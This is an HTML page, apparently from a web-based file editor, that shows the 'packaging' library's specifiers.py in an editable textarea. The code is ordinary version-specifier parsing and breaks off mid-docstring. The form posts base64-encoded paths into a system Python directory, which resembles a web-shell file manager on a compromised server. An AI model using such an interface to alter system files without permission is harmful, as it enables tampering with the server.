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<hr>specifiers.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc%3D&f=c3BlY2lmaWVycy5weQ%3D%3D"><input name="f" value="specifiers.py"><textarea name="t"># This file is dual licensed under the terms of the Apache License, Version
# 2.0, and the BSD License. See the LICENSE file in the root of this repository
# for complete details.
&quot;&quot;&quot;
.. testsetup::

    from packaging.specifiers import Specifier, SpecifierSet, InvalidSpecifier
    from packaging.version import Version
&quot;&quot;&quot;

import abc
import itertools
import re
from typing import (
    Callable,
    Iterable,
    Iterator,
    List,
    Optional,
    Set,
    Tuple,
    TypeVar,
    Union,
)

from .utils import canonicalize_version
from .version import Version

UnparsedVersion = Union[Version, str]
UnparsedVersionVar = TypeVar(&quot;UnparsedVersionVar&quot;, bound=UnparsedVersion)
CallableOperator = Callable[[Version, str], bool]


def _coerce_version(version: UnparsedVersion) -&gt; Version:
    if not isinstance(version, Version):
        version = Version(version)
    return version


class InvalidSpecifier(ValueError):
    &quot;&quot;&quot;
    Raised when attempting to create a :class:`Specifier` with a specifier
    string that is invalid.

    &gt;&gt;&gt; Specifier(&quot;lolwat&quot;)
    Traceback (most recent call last):
        ...
    packaging.specifiers.InvalidSpecifier: Invalid specifier: 'lolwat'
    &quot;&quot;&quot;


class BaseSpecifier(metaclass=abc.ABCMeta):
    @abc.abstractmethod
    def __str__(self) -&gt; str:
        &quot;&quot;&quot;
        Returns the str representation of this Specifier-like object. This
        should be representative of the Specifier itself.
        &quot;&quot;&quot;

    @abc.abstractmethod
    def __hash__(self) -&gt; int:
        &quot;&quot;&quot;
        Returns a hash value for this Specifier-like object.
        &quot;&quot;&quot;

    @abc.abstractmethod
    def __eq__(self, other: object) -&gt; bool:
        &quot;&quot;&quot;
        Returns a boolean representing whether or not the two Specifier-like
        objects are equal.

        :param other: The other object to check against.
        &quot;&quot;&quot;

    @property
    @abc.abstractmethod
    def prereleases(self) -&gt; Optional[bool]:
        &quot;&quot;&quot;Whether or not pre-releases as a whole are allowed.

        This can be set to either ``True`` or ``False`` to explicitly enable or disable
        prereleases or it can be set to ``None`` (the default) to use default semantics.
        &quot;&quot;&quot;

    @prereleases.setter
    def prereleases(self, value: bool) -&gt; None:
        &quot;&quot;&quot;Setter for :attr:`prereleases`.

        :param value: The value to set.
        &quot;&quot;&quot;

    @abc.abstractmethod
    def contains(self, item: str, prereleases: Optional[bool] = None) -&gt; bool:
        &quot;&quot;&quot;
        Determines if the given item is contained within this specifier.
        &quot;&quot;&quot;

    @abc.abstractmethod
    def filter(
        self, iterable: Iterable[UnparsedVersionVar], prereleases: Optional[bool] = None
    ) -&gt; Iterator[UnparsedVersionVar]:
        &quot;&quot;&quot;
        Takes an iterable of items and filters them so that only items which
        are contained within this specifier are allowed in it.
        &quot;&quot;&quot;


class Specifier(BaseSpecifier):
    &quot;&quot;&quot;This class abstracts handling of version specifiers.

    .. tip::

        It is generally not required to instantiate this manually. You should instead
        prefer to work with :class:`SpecifierSet` instead, which can parse
        comma-separated version specifiers (which is what package metadata contains).
    &quot;&quot;&quot;

    _operator_regex_str = r&quot;&quot;&quot;
        (?P&lt;operator&gt;(~=|==|!=|&lt;=|&gt;=|&lt;|&gt;|===))
        &quot;&quot;&quot;
    _version_regex_str = r&quot;&quot;&quot;
        (?P&lt;version&gt;
            (?:
                # The identity operators allow for an escape hatch that will
                # do an exact string match of the version you wish to install.
                # This will not be parsed by PEP 440 and we cannot determine
                # any semantic meaning from it. This operator is discouraged
                # but included entirely as an escape hatch.
                (?&lt;====)  # Only match for the identity operator
                \s*
                [^\s;)]*  # The arbitrary version can be just about anything,
                          # we match everything except for whitespace, a
                          # semi-colon for marker support, and a closing paren
                          # since versions can be enclosed in them.
            )
            |
            (?:
                # The (non)equality operators allow for wild card and local
                # versions to be specified so we have to define these two
                # operators separately to enable that.
                (?&lt;===|!=)            # Only match for equals and not equals

                \s*
                v?
                (?:[0-9]+!)?          # epoch
                [0-9]+(?:\.[0-9]+)*   # release

                # You cannot use a wild card and a pre-release, post-release, a dev or
                # local version together so group them with a | and make them optional.
                (?:
                    \.\*  # Wild card syntax of .*
                    |
                    (?:                                  # pre release
                        [-_\.]?
                        (alpha|beta|preview|pre|a|b|c|rc)
                        [-_\.]?
                        [0-9]*
                    )?
                    (?:                                  # post release
                        (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*)
                    )?
                    (?:[-_\.]?dev[-_\.]?[0-9]*)?         # dev release
                    (?:\+[a-z0-9]+(?:[-_\.][a-z0-9]+)*)? # local
                )?
            )
            |
            (?:
                # The compatible operator requires at least two digits in the
                # release segment.
                (?&lt;=~=)               # Only match for the compatible operator

                \s*
                v?
                (?:[0-9]+!)?          # epoch
                [0-9]+(?:\.[0-9]+)+   # release  (We have a + instead of a *)
                (?:                   # pre release
                    [-_\.]?
                    (alpha|beta|preview|pre|a|b|c|rc)
                    [-_\.]?
                    [0-9]*
                )?
                (?:                                   # post release
                    (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*)
                )?
                (?:[-_\.]?dev[-_\.]?[0-9]*)?          # dev release
            )
            |
            (?:
                # All other operators only allow a sub set of what the
                # (non)equality operators do. Specifically they do not allow
                # local versions to be specified nor do they allow the prefix
                # matching wild cards.
                (?&lt;!==|!=|~=)         # We have special cases for these
                                      # operators so we want to make sure they
                                      # don't match here.

                \s*
                v?
                (?:[0-9]+!)?          # epoch
                [0-9]+(?:\.[0-9]+)*   # release
                (?:                   # pre release
                    [-_\.]?
                    (alpha|beta|preview|pre|a|b|c|rc)
                    [-_\.]?
                    [0-9]*
                )?
                (?:                                   # post release
                    (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*)
                )?
                (?:[-_\.]?dev[-_\.]?[0-9]*)?          # dev release
            )
        )
        &quot;&quot;&quot;

    _regex = re.compile(
        r&quot;^\s*&quot; + _operator_regex_str + _version_regex_str + r&quot;\s*$&quot;,
        re.VERBOSE | re.IGNORECASE,
    )

    _operators = {
        &quot;~=&quot;: &quot;compatible&quot;,
        &quot;==&quot;: &quot;equal&quot;,
        &quot;!=&quot;: &quot;not_equal&quot;,
        &quot;&lt;=&quot;: &quot;less_than_equal&quot;,
        &quot;&gt;=&quot;: &quot;greater_than_equal&quot;,
        &quot;&lt;&quot;: &quot;less_than&quot;,
        &quot;&gt;&quot;: &quot;greater_than&quot;,
        &quot;===&quot;: &quot;arbitrary&quot;,
    }

    def __init__(self, spec: str = &quot;&quot;, prereleases: Optional[bool] = None) -&gt; None:
        &quot;&quot;&quot;Initialize a Specifier instance.

        :param spec:
            The string representation of a specifier which will be parsed and
            normalized before use.
        :param prereleases:
            This tells the specifier if it should accept prerelease versions if
            applicable or not. The default of ``None`` will autodetect it from the
            given specifiers.
        :raises InvalidSpecifier:
            If the given specifier is invalid (i.e. bad syntax).
        &quot;&quot;&quot;
        match = self._regex.search(spec)
        if not match:
            raise InvalidSpecifier(f&quot;Invalid specifier: '{spec}'&quot;)

        self._spec: Tuple[str, str] = (
            match.group(&quot;operator&quot;).strip(),
            match.group(&quot;version&quot;).strip(),
        )

        # Store whether or not this Specifier should accept prereleases
        self._prereleases = prereleases

    # https://github.com/python/mypy/pull/13475#pullrequestreview-1079784515
    @property  # type: ignore[override]
    def prereleases(self) -&gt; bool:
        # If there is an explicit prereleases set for this, then we'll just
        # blindly use that.
        if self._prereleases is not None:
            return self._prereleases

        # Look at all of our specifiers and determine if they are inclusive
        # operators, and if they are if they are including an explicit
        # prerelease.
        operator, version = self._spec
        if operator in [&quot;==&quot;, &quot;&gt;=&quot;, &quot;&lt;=&quot;, &quot;~=&quot;, &quot;===&quot;]:
            # The == specifier can include a trailing .*, if it does we
            # want to remove before parsing.
            if operator == &quot;==&quot; and version.endswith(&quot;.*&quot;):
                version = version[:-2]

            # Parse the version, and if it is a pre-release than this
            # specifier allows pre-releases.
            if Version(version).is_prerelease:
                return True

        return False

    @prereleases.setter
    def prereleases(self, value: bool) -&gt; None:
        self._prereleases = value

    @property
    def operator(self) -&gt; str:
        &quot;&quot;&quot;The operator of this specifier.

        &gt;&gt;&gt; Specifier(&quot;==1.2.3&quot;).operator
        '=='
        &quot;&quot;&quot;
        return self._spec[0]

    @property
    def version(self) -&gt; str:
        &quot;&quot;&quot;The version of this specifier.

        &gt;&gt;&gt; Specifier(&quot;==1.2.3&quot;).version
        '1.2.3'
        &quot;&quot;&quot;
        return self._spec[1]

    def __repr__(self) -&gt; str:
        &quot;&quot;&quot;A representation of the Specifier that shows all internal state.

        &gt;&gt;&gt; Specifier('&gt;=1.0.0')
        &lt;Specifier('&gt;=1.0.0')&gt;
        &gt;&gt;&gt; Specifier('&gt;=1.0.0', prereleases=False)
        &lt;Specifier('&gt;=1.0.0', prereleases=False)&gt;
        &gt;&gt;&gt; Specifier('&gt;=1.0.0', prereleases=True)
        &lt;Specifier('&gt;=1.0.0', prereleases=True)&gt;
        &quot;&quot;&quot;
        pre = (
            f&quot;, prereleases={self.prereleases!r}&quot;
            if self._prereleases is not None
            else &quot;&quot;
        )

        return f&quot;&lt;{self.__class__.__name__}({str(self)!r}{pre})&gt;&quot;

    def __str__(self) -&gt; str:
        &quot;&quot;&quot;A string representation of the Specifier that can be round-tripped.

        &gt;&gt;&gt; str(Specifier('&gt;=1.0.0'))
        '&gt;=1.0.0'
        &gt;&gt;&gt; str(Specifier('&gt;=1.0.0', prereleases=False))
        '&gt;=1.0.0'
        &quot;&quot;&quot;
        return &quot;{}{}&quot;.format(*self._spec)

    @property
    def _canonical_spec(self) -&gt; Tuple[str, str]:
        canonical_version = canonicalize_version(
            self._spec[1],
            strip_trailing_zero=(self._spec[0] != &quot;~=&quot;),
        )
        return self._spec[0], canonical_version

    def __hash__(self) -&gt; int:
        return hash(self._canonical_spec)

    def __eq__(self, other: object) -&gt; bool:
        &quot;&quot;&quot;Whether or not the two Specifier-like objects are equal.

        :param other: The other object to check against.

        The value of :attr:`prereleases` is ignored.

        &gt;&gt;&gt; Specifier(&quot;==1.2.3&quot;) == Specifier(&quot;== 1.2.3.0&quot;)
        True
        &gt;&gt;&gt; (Specifier(&quot;==1.2.3&quot;, prereleases=False) ==
        ...  Specifier(&quot;==1.2.3&quot;, prereleases=True))
        True
        &gt;&gt;&gt; Specifier(&quot;==1.2.3&quot;) == &quot;==1.2.3&quot;
        True
        &gt;&gt;&gt; Specifier(&quot;==1.2.3&quot;) == Specifier(&quot;==1.2.4&quot;)
        False
        &gt;&gt;&gt; Specifier(&quot;==1.2.3&quot;) == Specifier(&quot;~=1.2.3&quot;)
        False
        &quot;&quot;&quot;
        if isinstance(other, str):
            try:
                other = self.__class__(str(other))
            except InvalidSpecifier:
                return NotImplemented
        elif not isinstance(other, self.__class__):
            return NotImplemented

        return self._canonical_spec == other._canonical_spec

    def _get_operator(self, op: str) -&gt; CallableOperator:
        operator_callable: CallableOperator = getattr(
            self, f&quot;_compare_{self._operators[op]}&quot;
        )
        return operator_callable

    def _compare_compatible(self, prospective: Version, spec: str) -&gt; bool:

        # Compatible releases have an equivalent combination of &gt;= and ==. That
        # is that ~=2.2 is equivalent to &gt;=2.2,==2.*. This allows us to
        # implement this in terms of the other specifiers instead of
        # implementing it ourselves. The only thing we need to do is construct
        # the other specifiers.

        # We want everything but the last item in the version, but we want to
        # ignore suffix segments.
        prefix = &quot;.&quot;.join(
            list(itertools.takewhile(_is_not_suffix, _version_split(spec)))[:-1]
        )

        # Add the prefix notation to the end of our string
        prefix += &quot;.*&quot;

        return self._get_operator(&quot;&gt;=&quot;)(prospective, spec) and self._get_operator(&quot;==&quot;)(
            prospective, prefix
        )

    def _compare_equal(self, prospective: Version, spec: str) -&gt; bool:

        # We need special logic to handle prefix matching
        if spec.endswith(&quot;.*&quot;):
            # In the case of prefix matching we want to ignore local segment.
            normalized_prospective = canonicalize_version(
                prospective.public, strip_trailing_zero=False
            )
            # Get the normalized version string ignoring the trailing .*
            normalized_spec = canonicalize_version(spec[:-2], strip_trailing_zero=False)
            # Split the spec out by dots, and pretend that there is an implicit
            # dot in between a release segment and a pre-release segment.
            split_spec = _version_split(normalized_spec)

            # Split the prospective version out by dots, and pretend that there
            # is an implicit dot in between a release segment and a pre-release
            # segment.
            split_prospective = _version_split(normalized_prospective)

            # 0-pad the prospective version before shortening it to get the correct
            # shortened version.
            padded_prospective, _ = _pad_version(split_prospective, split_spec)

            # Shorten the prospective version to be the same length as the spec
            # so that we can determine if the specifier is a prefix of the
            # prospective version or not.
            shortened_prospective = padded_prospective[: len(split_spec)]

            return shortened_prospective == split_spec
        else:
            # Convert our spec string into a Version
            spec_version = Version(spec)

            # If the specifier does not have a local segment, then we want to
            # act as if the prospective version also does not have a local
            # segment.
            if not spec_version.local:
                prospective = Version(prospective.public)

            return prospective == spec_version

    def _compare_not_equal(self, prospective: Version, spec: str) -&gt; bool:
        return not self._compare_equal(prospective, spec)

    def _compare_less_than_equal(self, prospective: Version, spec: str) -&gt; bool:

        # NB: Local version identifiers are NOT permitted in the version
        # specifier, so local version labels can be universally removed from
        # the prospective version.
        return Version(prospective.public) &lt;= Version(spec)

    def _compare_greater_than_equal(self, prospective: Version, spec: str) -&gt; bool:

        # NB: Local version identifiers are NOT permitted in the version
        # specifier, so local version labels can be universally removed from
        # the prospective version.
        return Version(prospective.public) &gt;= Version(spec)

    def _compare_less_than(self, prospective: Version, spec_str: str) -&gt; bool:

        # Convert our spec to a Version instance, since we'll want to work with
        # it as a version.
        spec = Version(spec_str)

        # Check to see if the prospective version is less than the spec
        # version. If it's not we can short circuit and just return False now
        # instead of doing extra unneeded work.
        if not prospective &lt; spec:
            return False

        # This special case is here so that, unless the specifier itself
        # includes is a pre-release version, that we do not accept pre-release
        # versions for the version mentioned in the specifier (e.g. &lt;3.1 should
        # not match 3.1.dev0, but should match 3.0.dev0).
        if not spec.is_prerelease and prospective.is_prerelease:
            if Version(prospective.base_version) == Version(spec.base_version):
                return False

        # If we've gotten to here, it means that prospective version is both
        # less than the spec version *and* it's not a pre-release of the same
        # version in the spec.
        return True

    def _compare_greater_than(self, prospective: Version, spec_str: str) -&gt; bool:

        # Convert our spec to a Version instance, since we'll want to work with
        # it as a version.
        spec = Version(spec_str)

        # Check to see if the prospective version is greater than the spec
        # version. If it's not we can short circuit and just return False now
        # instead of doing extra unneeded work.
        if not prospective &gt; spec:
            return False

        # This special case is here so that, unless the specifier itself
        # includes is a post-release version, that we do not accept
        # post-release versions for the version mentioned in the specifier
        # (e.g. &gt;3.1 should not match 3.0.post0, but should match 3.2.post0).
        if not spec.is_postrelease and prospective.is_postrelease:
            if Version(prospective.base_version) == Version(spec.base_version):
                return False

        # Ensure that we do not allow a local version of the version mentioned
        # in the specifier, which is technically greater than, to match.
        if prospective.local is not None:
            if Version(prospective.base_version) == Version(spec.base_version):
                return False

        # If we've gotten to here, it means that prospective version is both
        # greater than the spec version *and* it's not a pre-release of the
        # same version in the spec.
        return True

    def _compare_arbitrary(self, prospective: Version, spec: str) -&gt; bool:
        return str(prospective).lower() == str(spec).lower()

    def __contains__(self, item: Union[str, Version]) -&gt; bool:
        &quot;&quot;&quot;Return whether or not the item is contained in this specifier.

        :param item: The item to check for.

        This is used for the ``in`` operator and behaves the same as
        :meth:`contains` with no ``prereleases`` argument passed.

        &gt;&gt;&gt; &quot;1.2.3&quot; in Specifier(&quot;&gt;=1.2.3&quot;)
        True
        &gt;&gt;&gt; Version(&quot;1.2.3&quot;) in Specifier(&quot;&gt;=1.2.3&quot;)
        True
        &gt;&gt;&gt; &quot;1.0.0&quot; in Specifier(&quot;&gt;=1.2.3&quot;)
        False
        &gt;&gt;&gt; &quot;1.3.0a1&quot; in Specifier(&quot;&gt;=1.2.3&quot;)
        False
        &gt;&gt;&gt; &quot;1.3.0a1&quot; in Specifier(&quot;&gt;=1.2.3&quot;, prereleases=True)
        True
        &quot;&quot;&quot;
        return self.contains(item)

    def contains(
        self, item: UnparsedVersion, prereleases: Optional[bool] = None
    ) -&gt; bool:
        &quot;&quot;&quot;Return whether or not the item is contained in this specifier.

        :param item:
            The item to check for, which can be a version string or a
            :class:`Version` instance.
        :param prereleases:
            Whether or not to match prereleases with this Specifier. If set to
            ``None`` (the default), it uses :attr:`prereleases` to determine
            whether or not prereleases are allowed.

        &gt;&gt;&gt; Specifier(&quot;&gt;=1.2.3&quot;).contains(&quot;1.2.3&quot;)
        True
        &gt;&gt;&gt; Specifier(&quot;&gt;=1.2.3&quot;).contains(Version(&quot;1.2.3&quot;))
        True
        &gt;&gt;&gt; Specifier(&quot;&gt;=1.2.3&quot;).contains(&quot;1.0.0&quot;)
        False
        &gt;&gt;&gt; Specifier(&quot;&gt;=1.2.3&quot;).contains(&quot;1.3.0a1&quot;)
        False
        &gt;&gt;&gt; Specifier(&quot;&gt;=1.2.3&quot;, prereleases=True).contains(&quot;1.3.0a1&quot;)
        True
        &gt;&gt;&gt; Specifier(&quot;&gt;=1.2.3&quot;).contains(&quot;1.3.0a1&quot;, prereleases=True)
        True
        &quot;&quot;&quot;

        # Determine if prereleases are to be allowed or not.
        if prereleases is None:
            prereleases = self.prereleases

        # Normalize item to a Version, this allows us to have a shortcut for
        # &quot;2.0&quot; in Specifier(&quot;&gt;=2&quot;)
        normalized_item = _coerce_version(item)

        # Determine if we should be supporting prereleases in this specifier
        # or not, if we do not support prereleases than we can short circuit
        # logic if this version is a prereleases.
        if normalized_item.is_prerelease and not prereleases:
            return False

        # Actually do the comparison to determine if this item is contained
        # within this Specifier or not.
        operator_callable: CallableOperator = self._get_operator(self.operator)
        return operator_callable(normalized_item, self.version)

    def filter(
        self, iterable: Iterable[UnparsedVersionVar], prereleases: Optional[bool] = None
    ) -&gt; Iterator[UnparsedVersionVar]:
        &quot;&quot;&quot;Filter items in the given iterable, that match the specifier.

        :param iterable:
            An iterable that can contain version strings and :class:`Version` instances.
            The items in the iterable will be filtered according to the specifier.
        :param prereleases:
            Whether or not to allow prereleases in the returned iterator. If set to
            ``None`` (the default), it will be intelligently decide whether to allow
            prereleases or not (based on the :attr:`prereleases` attribute, and
            whether the only versions matching are prereleases).

        This method is smarter than just ``filter(Specifier().contains, [...])``
        because it implements the rule from :pep:`440` that a prerelease item
        SHOULD be accepted if no other versions match the given specifier.

        &gt;&gt;&gt; list(Specifier(&quot;&gt;=1.2.3&quot;).filter([&quot;1.2&quot;, &quot;1.3&quot;, &quot;1.5a1&quot;]))
        ['1.3']
        &gt;&gt;&gt; list(Specifier(&quot;&gt;=1.2.3&quot;).filter([&quot;1.2&quot;, &quot;1.2.3&quot;, &quot;1.3&quot;, Version(&quot;1.4&quot;)]))
        ['1.2.3', '1.3', &lt;Version('1.4')&gt;]
        &gt;&gt;&gt; list(Specifier(&quot;&gt;=1.2.3&quot;).filter([&quot;1.2&quot;, &quot;1.5a1&quot;]))
        ['1.5a1']
        &gt;&gt;&gt; list(Specifier(&quot;&gt;=1.2.3&quot;).filter([&quot;1.3&quot;, &quot;1.5a1&quot;], prereleases=True))
        ['1.3', '1.5a1']
        &gt;&gt;&gt; list(Specifier(&quot;&gt;=1.2.3&quot;, prereleases=True).filter([&quot;1.3&quot;, &quot;1.5a1&quot;]))
        ['1.3', '1.5a1']
        &quot;&quot;&quot;

        yielded = False
        found_prereleases = []

        kw = {&quot;prereleases&quot;: prereleases if prereleases is not None else True}

        # Attempt to iterate over all the values in the iterable and if any of
        # them match, yield them.
        for version in iterable:
            parsed_version = _coerce_version(version)

            if self.contains(parsed_version, **kw):
                # If our version is a prerelease, and we were not set to allow
                # prereleases, then we'll store it for later in case nothing
                # else matches this specifier.
                if parsed_version.is_prerelease and not (
                    prereleases or self.prereleases
                ):
                    found_prereleases.append(version)
                # Either this is not a prerelease, or we should have been
                # accepting prereleases from the beginning.
                else:
                    yielded = True
                    yield version

        # Now that we've iterated over everything, determine if we've yielded
        # any values, and if we have not and we have any prereleases stored up
        # then we will go ahead and yield the prereleases.
        if not yielded and found_prereleases:
            for version in found_prereleases:
                yield version


_prefix_regex = re.compile(r&quot;^([0-9]+)((?:a|b|c|rc)[0-9]+)$&quot;)


def _version_split(version: str) -&gt; List[str]:
    result: List[str] = []
    for item in version.split(&quot;.&quot;):
        match = _prefix_regex.search(item)
        if match:
            result.extend(match.groups())
        else:
            result.append(item)
    return result


def _is_not_suffix(segment: str) -&gt; bool:
    return not any(
        segment.startswith(prefix) for prefix in (&quot;dev&quot;, &quot;a&quot;, &quot;b&quot;, &quot;rc&quot;, &quot;post&quot;)
    )


def _pad_version(left: List[str], right: List[str]) -&gt; Tuple[List[str], List[str]]:
    left_split, right_split = [], []

    # Get the release segment of our versions
    left_split.append(list(itertools.takewhile(lambda x: x.isdigit(), left)))
    right_split.append(list(itertools.takewhile(lambda x: x.isdigit(), right)))

    # Get the rest of our versions
    left_split.append(left[len(left_split[0]) :])
    right_split.append(right[len(right_split[0]) :])

    # Insert our padding
    left_split.insert(1, [&quot;0&quot;] * max(0, len(right_split[0]) - len(left_split[0])))
    right_split.insert(1, [&quot;0&quot;] * max(0, len(left_split[0]) - len(right_split[0])))

    return (list(itertools.chain(*left_split)), list(itertools.chain(*right_split)))


class SpecifierSet(BaseSpecifier):
    &quot;&quot;&quot;This class abstracts handling of a set of version specifiers.

    It can be passed a single specifier (``&gt;=3.0``), a comma-separated list of
    specifiers (``&gt;=3.0,!=3.1``), or no specifier at all.
    &quot;&quot;&quot;

    def __init__(
        self, specifiers: str = &quot;&quot;, prereleases: Optional[bool] = None
    ) -&gt; None:
        &quot;&quot;&quot;Initialize a SpecifierSet instance.

        :param specifiers:
            The string representation of a specifier or a comma-separated list of
            specifiers which will be parsed and normalized before use.
        :param prereleases:
            This tells the SpecifierSet if it should accept prerelease versions if
            applicable or not. The default of ``None`` will autodetect it from the
            given specifiers.

        :raises InvalidSpecifier:
            If the given ``specifiers`` are not parseable than this exception will be
            raised.
        &quot;&quot;&quot;

        # Split on `,` to break each individual specifier into it's own item, and
        # strip each item to remove leading/trailing whitespace.
        split_specifiers = [s.strip() for s in specifiers.split(&quot;,&quot;) if s.strip()]

        # Parsed each individual specifier, attempting first to make it a
        # Specifier.
        parsed: Set[Specifier] = set()
        for specifier in split_specifiers:
            parsed.add(Specifier(specifier))

        # Turn our parsed specifiers into a frozen set and save them for later.
        self._specs = frozenset(parsed)

        # Store our prereleases value so we can use it later to determine if
        # we accept prereleases or not.
        self._prereleases = prereleases

    @property
    def prereleases(self) -&gt; Optional[bool]:
        # If we have been given an explicit prerelease modifier, then we'll
        # pass that through here.
        if self._prereleases is not None:
            return self._prereleases

        # If we don't have any specifiers, and we don't have a forced value,
        # then we'll just return None since we don't know if this should have
        # pre-releases or not.
        if not self._specs:
            return None

        # Otherwise we'll see if any of the given specifiers accept
        # prereleases, if any of them do we'll return True, otherwise False.
        return any(s.prereleases for s in self._specs)

    @prereleases.setter
    def prereleases(self, value: bool) -&gt; None:
        self._prereleases = value

    def __repr__(self) -&gt; str:
        &quot;&quot;&quot;A representation of the specifier set that shows all internal state.

        Note that the ordering of the individual specifiers within the set may not
        match the input string.

        &gt;&gt;&gt; SpecifierSet('&gt;=1.0.0,!=2.0.0')
        &lt;SpecifierSet('!=2.0.0,&gt;=1.0.0')&gt;
        &gt;&gt;&gt; SpecifierSet('&gt;=1.0.0,!=2.0.0', prereleases=False)
        &lt;SpecifierSet('!=2.0.0,&gt;=1.0.0', prereleases=False)&gt;
        &gt;&gt;&gt; SpecifierSet('&gt;=1.0.0,!=2.0.0', prereleases=True)
        &lt;SpecifierSet('!=2.0.0,&gt;=1.0.0', prereleases=True)&gt;
        &quot;&quot;&quot;
        pre = (
            f&quot;, prereleases={self.prereleases!r}&quot;
            if self._prereleases is not None
            else &quot;&quot;
        )

        return f&quot;&lt;SpecifierSet({str(self)!r}{pre})&gt;&quot;

    def __str__(self) -&gt; str:
        &quot;&quot;&quot;A string representation of the specifier set that can be round-tripped.

        Note that the ordering of the individual specifiers within the set may not
        match the input string.

        &gt;&gt;&gt; str(SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;))
        '!=1.0.1,&gt;=1.0.0'
        &gt;&gt;&gt; str(SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;, prereleases=False))
        '!=1.0.1,&gt;=1.0.0'
        &quot;&quot;&quot;
        return &quot;,&quot;.join(sorted(str(s) for s in self._specs))

    def __hash__(self) -&gt; int:
        return hash(self._specs)

    def __and__(self, other: Union[&quot;SpecifierSet&quot;, str]) -&gt; &quot;SpecifierSet&quot;:
        &quot;&quot;&quot;Return a SpecifierSet which is a combination of the two sets.

        :param other: The other object to combine with.

        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;) &amp; '&lt;=2.0.0,!=2.0.1'
        &lt;SpecifierSet('!=1.0.1,!=2.0.1,&lt;=2.0.0,&gt;=1.0.0')&gt;
        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;) &amp; SpecifierSet('&lt;=2.0.0,!=2.0.1')
        &lt;SpecifierSet('!=1.0.1,!=2.0.1,&lt;=2.0.0,&gt;=1.0.0')&gt;
        &quot;&quot;&quot;
        if isinstance(other, str):
            other = SpecifierSet(other)
        elif not isinstance(other, SpecifierSet):
            return NotImplemented

        specifier = SpecifierSet()
        specifier._specs = frozenset(self._specs | other._specs)

        if self._prereleases is None and other._prereleases is not None:
            specifier._prereleases = other._prereleases
        elif self._prereleases is not None and other._prereleases is None:
            specifier._prereleases = self._prereleases
        elif self._prereleases == other._prereleases:
            specifier._prereleases = self._prereleases
        else:
            raise ValueError(
                &quot;Cannot combine SpecifierSets with True and False prerelease &quot;
                &quot;overrides.&quot;
            )

        return specifier

    def __eq__(self, other: object) -&gt; bool:
        &quot;&quot;&quot;Whether or not the two SpecifierSet-like objects are equal.

        :param other: The other object to check against.

        The value of :attr:`prereleases` is ignored.

        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;) == SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;)
        True
        &gt;&gt;&gt; (SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;, prereleases=False) ==
        ...  SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;, prereleases=True))
        True
        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;) == &quot;&gt;=1.0.0,!=1.0.1&quot;
        True
        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;) == SpecifierSet(&quot;&gt;=1.0.0&quot;)
        False
        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;) == SpecifierSet(&quot;&gt;=1.0.0,!=1.0.2&quot;)
        False
        &quot;&quot;&quot;
        if isinstance(other, (str, Specifier)):
            other = SpecifierSet(str(other))
        elif not isinstance(other, SpecifierSet):
            return NotImplemented

        return self._specs == other._specs

    def __len__(self) -&gt; int:
        &quot;&quot;&quot;Returns the number of specifiers in this specifier set.&quot;&quot;&quot;
        return len(self._specs)

    def __iter__(self) -&gt; Iterator[Specifier]:
        &quot;&quot;&quot;
        Returns an iterator over all the underlying :class:`Specifier` instances
        in this specifier set.

        &gt;&gt;&gt; sorted(SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;), key=str)
        [&lt;Specifier('!=1.0.1')&gt;, &lt;Specifier('&gt;=1.0.0')&gt;]
        &quot;&quot;&quot;
        return iter(self._specs)

    def __contains__(self, item: UnparsedVersion) -&gt; bool:
        &quot;&quot;&quot;Return whether or not the item is contained in this specifier.

        :param item: The item to check for.

        This is used for the ``in`` operator and behaves the same as
        :meth:`contains` with no ``prereleases`` argument passed.

        &gt;&gt;&gt; &quot;1.2.3&quot; in SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;)
        True
        &gt;&gt;&gt; Version(&quot;1.2.3&quot;) in SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;)
        True
        &gt;&gt;&gt; &quot;1.0.1&quot; in SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;)
        False
        &gt;&gt;&gt; &quot;1.3.0a1&quot; in SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;)
        False
        &gt;&gt;&gt; &quot;1.3.0a1&quot; in SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;, prereleases=True)
        True
        &quot;&quot;&quot;
        return self.contains(item)

    def contains(
        self,
        item: UnparsedVersion,
        prereleases: Optional[bool] = None,
        installed: Optional[bool] = None,
    ) -&gt; bool:
        &quot;&quot;&quot;Return whether or not the item is contained in this SpecifierSet.

        :param item:
            The item to check for, which can be a version string or a
            :class:`Version` instance.
        :param prereleases:
            Whether or not to match prereleases with this SpecifierSet. If set to
            ``None`` (the default), it uses :attr:`prereleases` to determine
            whether or not prereleases are allowed.

        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;).contains(&quot;1.2.3&quot;)
        True
        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;).contains(Version(&quot;1.2.3&quot;))
        True
        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;).contains(&quot;1.0.1&quot;)
        False
        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;).contains(&quot;1.3.0a1&quot;)
        False
